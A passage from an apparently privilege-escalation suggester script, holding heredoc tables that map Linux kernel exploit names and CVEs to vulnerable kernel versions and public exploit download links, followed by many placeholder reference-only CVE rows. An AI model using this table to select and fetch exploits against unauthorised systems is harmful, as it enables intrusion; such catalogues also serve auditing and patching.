<<'EOF_DATA_6'\npacket_set_ring\t2017-7308\t4.8.0\t\thttp://www.exploit-db.com/exploits/41994\nperf_swevent\t2013-2094\t3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6,3.1.0,3.2.0,3.3.0,3.4.0,3.4.1,3.4.2,3.4.3,3.4.4,3.4.5,3.4.6,3.4.8,3.4.9,3.5.0,3.6.0,3.7.0,3.8.0,3.8.1,3.8.2,3.8.3,3.8.4,3.8.5,3.8.6,3.8.7,3.8.8,3.8.9\t\thttp://www.exploit-db.com/exploits/26131\npipe.c_32bit\t2009-3547\t2.4.4,2.4.5,2.4.6,2.4.7,2.4.8,2.4.9,2.4.10,2.4.11,2.4.12,2.4.13,2.4.14,2.4.15,2.4.16,2.4.17,2.4.18,2.4.19,2.4.20,2.4.21,2.4.22,2.4.23,2.4.24,2.4.25,2.4.26,2.4.27,2.4.28,2.4.29,2.4.30,2.4.31,2.4.32,2.4.33,2.4.34,2.4.35,2.4.36,2.4.37,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31\t\thttp://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c\npktcdvd\t2010-3437\t2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36\t\thttp://www.exploit-db.com/exploits/15150\npp_key\t2016-0728\t3.4.0,3.5.0,3.6.0,3.7.0,3.8.0,3.8.1,3.8.2,3.8.3,3.8.4,3.8.5,3.8.6,3.8.7,3.8.8,3.8.9,3.9.0,3.9.6,3.10.0,3.10.6,3.11.0,3.12.0,3.13.0,3.13.1\t\thttp://www.exploit-db.com/exploits/39277\nprctl\t\t2.6.13,2.6.14,2.6.15,2.6.16,2.6.17\t\thttp://www.exploit-db.com/exploits/2004\nprctl2\t\t2.6.13,2.6.14,2.6.15,2.6.16,2.6.17\t\thttp://www.exploit-db.com/exploits/2005\nprctl3\t\t2.6.13,2.6.14,2.6.15,2.6.16,2.6.17\t\thttp://www.exploit-db.com/exploits/2006\nprctl4\t\t2.6.13,2.6.14,2.6.15,2.6.16,2.6.17\t\thttp://www.exploit-db.com/exploits/2011\nptrace\t\t2.4.18,2.4.19,2.4.20,2.4.21,2.4.22\t\t\nptrace24\t\t2.4.9\t\t\nCVE-2007-4573\tptrace_kmod\t2.4.18,2.4.19,2.4.20,2.4.21,2.4.22\t\t1\t\nptrace_kmod2\t2010-3301\t2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34\tia32syscall,robert_you_suck\thttp://www.exploit-db.com/exploits/15023\npwned\t\t2.6.11\t\t\npy2\t\t2.6.9,2.6.17,2.6.15,2.6.13\t\t\nraptor_prctl\t2006-2451\t2.6.13,2.6.14,2.6.15,2.6.16,2.6.17\t\thttp://www.exploit-db.com/exploits/2031\nrawmodePTY\t2014-0196\t2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36,2.6.37,2.6.38,2.6.39,3.14.0,3.15.0\t\thttp://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c\nrds\t2010-3904\t2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36\t\thttp://www.exploit-db.com/exploits/15285\nreiserfs\t2010-1146\t2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34\t\thttp://www.exploit-db.com/exploits/12130\nremap\t\t2.4\t\t\nrip\t\t2.2\t\t\nCVE-2008-4113\tsctp\t2.6.26\t\t1\t\nsemtex\t2013-2094\t2.6.37,2.6.38,2.6.39,3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6,3.1.0\t\thttp://www.exploit-db.com/exploits/25444\nsmpracer\t\t2.4.29\t\t\nsock_sendpage\t2009-2692\t2.4.4,2.4.5,2.4.6,2.4.7,2.4.8,2.4.9,2.4.10,2.4.11,2.4.12,2.4.13,2.4.14,2.4.15,2.4.16,2.4.17,2.4.18,2.4.19,2.4.20,2.4.21,2.4.22,2.4.23,2.4.24,2.4.25,2.4.26,2.4.27,2.4.28,2.4.29,2.4.30,2.4.31,2.4.32,2.4.33,2.4.34,2.4.35,2.4.36,2.4.37,2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30\twunderbar_emporium\thttp://www.exploit-db.com/exploits/9435\nEOF_DATA_6\n)\"\n\nKERNEL_CVE_DATA_7=\"$(cat <<'EOF_DATA_7'\nsock_sendpage2\t2009-2692\t2.4.4,2.4.5,2.4.6,2.4.7,2.4.8,2.4.9,2.4.10,2.4.11,2.4.12,2.4.13,2.4.14,2.4.15,2.4.16,2.4.17,2.4.18,2.4.19,2.4.20,2.4.21,2.4.22,2.4.23,2.4.24,2.4.25,2.4.26,2.4.27,2.4.28,2.4.29,2.4.30,2.4.31,2.4.32,2.4.33,2.4.34,2.4.35,2.4.36,2.4.37,2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30\tproto_ops\thttp://www.exploit-db.com/exploits/9436\nstackgrow2\t\t2.4.29,2.6.10\t\t\ntimeoutpwn\t2014-0038\t3.4.0,3.5.0,3.6.0,3.7.0,3.8.0,3.8.9,3.9.0,3.10.0,3.11.0,3.12.0,3.13.0,3.4.0,3.5.0,3.6.0,3.7.0,3.8.0,3.8.5,3.8.6,3.8.9,3.9.0,3.9.6,3.10.0,3.10.6,3.11.0,3.12.0,3.13.0,3.13.1\t\thttp://www.exploit-db.com/exploits/31346\nCVE-2009-1185\tudev\t2.6.25,2.6.26,2.6.27,2.6.28,2.6.29\tudev <1.4.1\t1\thttp://www.exploit-db.com/exploits/8478\nudp_sendmsg_32bit\t2009-2698\t2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19\t\thttp://downloads.securityfocus.com/vulnerabilities/exploits/36108.c\nuselib24\t\t2.6.10,2.4.17,2.4.22,2.4.25,2.4.27,2.4.29\t\t\nCVE-2009-1046\tvconsole\t2.6\t\t1\t\nvideo4linux\t2010-3081\t2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33\t\thttp://www.exploit-db.com/exploits/15024\nvmsplice1\t2008-0600\t2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.24.1\tjessica biel\thttp://www.exploit-db.com/exploits/5092\nvmsplice2\t2008-0600\t2.6.23,2.6.24\tdiane_lane\thttp://www.exploit-db.com/exploits/5093\nw00t\t\t2.4.10,2.4.16,2.4.17,2.4.18,2.4.19,2.4.20,2.4.21\t\t\nCVE-2004-0186\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2007-4573\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2008-0009\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2008-0010\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2009-0065\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2009-1046\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2009-1185\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2009-1897\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2009-2910\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2009-3001\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2010-0832\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2010-2240\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2010-2963\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2010-4170\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_7\n)\"\n\nKERNEL_CVE_DATA_8=\"$(cat <<'EOF_DATA_8'\nCVE-2010-4258\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2011-1485\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2011-1493\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2011-2921\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2012-0809\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2013-1763\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2014-0476\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2014-3153\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2014-4322\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2014-5119\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2014-9322\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2015-0568\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2015-0570\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2015-1318\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2015-1805\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2015-1815\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2015-1862\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2015-3202\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2015-3246\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2015-3315\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2015-3636\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2015-5287\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2015-6565\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2015-8612\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-0819\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_8\n)\"\n\nKERNEL_CVE_DATA_9=\"$(cat <<'EOF_DATA_9'\nCVE-2016-0820\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-10277\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-1240\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-1247\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-1531\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-1583\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-2059\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-2411\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-2434\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-2435\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-2475\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-2503\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-3857\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-3873\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-4989\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-5340\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-5425\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-6187\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-6662\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-6663\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-6664\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-6787\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-7117\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-8453\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2016-8633\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_9\n)\"\n\nKERNEL_CVE_DATA_10=\"$(cat <<'EOF_DATA_10'\nCVE-2016-9566\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-0358\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-0403\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-0437\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-0569\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-1000251\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-1000363\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-1000366\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-1000367\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-1000370\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-1000371\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-1000379\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-1000380\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-1000405\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-10661\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-11176\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-16695\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-18344\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-2636\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-5123\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-5618\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-5899\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-7184\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2017-7616\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2018-1000001\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_10\n)\"\n\nKERNEL_CVE_DATA_11=\"$(cat <<'EOF_DATA_11'\nCVE-2018-10900\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2018-14665\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2018-17182\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2018-18281\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2018-3639\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2018-6554\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2018-6555\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2018-8781\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2018-9568\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-10149\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-10567\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-11190\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-12181\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-14040\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-14041\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-16508\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-18634\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-18675\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-18683\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-18862\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-19377\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-2000\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-2025\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-2181\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-2214\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_11\n)\"\n\nKERNEL_CVE_DATA_12=\"$(cat <<'EOF_DATA_12'\nCVE-2019-2215\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-7304\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-7308\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-9213\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-9500\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2019-9503\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-0041\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-0423\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-11179\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-12351\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-12352\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-14356\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-14381\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-14386\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-16119\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-24490\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-25220\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-27194\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-27786\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-28343\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-28588\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-3680\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-8835\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2020-9470\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-0399\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_12\n)\"\n\nKERNEL_CVE_DATA_13=\"$(cat <<'EOF_DATA_13'\nCVE-2021-0920\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-1048\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-1905\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-1940\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-1961\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-1968\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-1969\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-20226\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-23134\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-25369\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-25370\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-26341\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-26708\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-27363\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-27364\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-28663\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-28664\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-29657\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-3156\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-32606\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-33909\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-34866\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-3492\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule 